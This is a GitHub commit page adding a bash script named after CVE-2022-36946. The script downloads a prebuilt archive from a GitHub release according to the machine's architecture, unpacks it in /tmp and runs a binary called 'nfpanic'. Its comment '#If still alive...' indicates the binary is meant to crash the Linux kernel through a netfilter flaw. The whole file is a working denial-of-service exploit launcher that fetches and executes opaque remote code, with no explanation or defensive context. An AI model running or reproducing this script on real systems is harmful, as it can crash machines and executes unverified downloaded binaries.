Skip to content

Commit

Permalink
cve script added
Browse files Browse the repository at this point in the history
  • Loading branch information
domysh committed Sep 8, 2023
1 parent 3ceefd3 commit d188c8d
Showing 1 changed file with 32 additions and 0 deletions.
32 changes: 32 additions & 0 deletions static/cve-2022-36946.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
#!/usr/bin/env bash

cd /tmp/
#If there were some files before
rm -rf cve-2022-36946 &> /dev/null

ARCH=$(uname -m)
if [[ "$ARCH" == x86_64* ]]; then
curl -L https://github.com/Pwnzer0tt1/CVE-2022-36946/releases/download/1.0.0/amd64.tar.gz > files.tar.gz
elif [[ "$ARCH" == aarch64* ]]; then
curl -L https://github.com/Pwnzer0tt1/CVE-2022-36946/releases/download/1.0.0/arm64.tar.gz > files.tar.gz
else
echo "Unsupported architecture: $ARCH"
exit 1
fi

tar xf files.tar.gz
rm files.tar.gz

cd cve-2022-36946 &> /dev/null

chmod +x ./ld-linux.so.1 ./nfpanic

export XTABLES_LIBDIR=./xtables
export LD_LIBRARY_PATH=./
./ld-linux.so.1 ./nfpanic

#If still alive...
cd ..
rm -rf cve-2022-36946 &> /dev/null


0 comments on commit d188c8d

Please sign in to comment.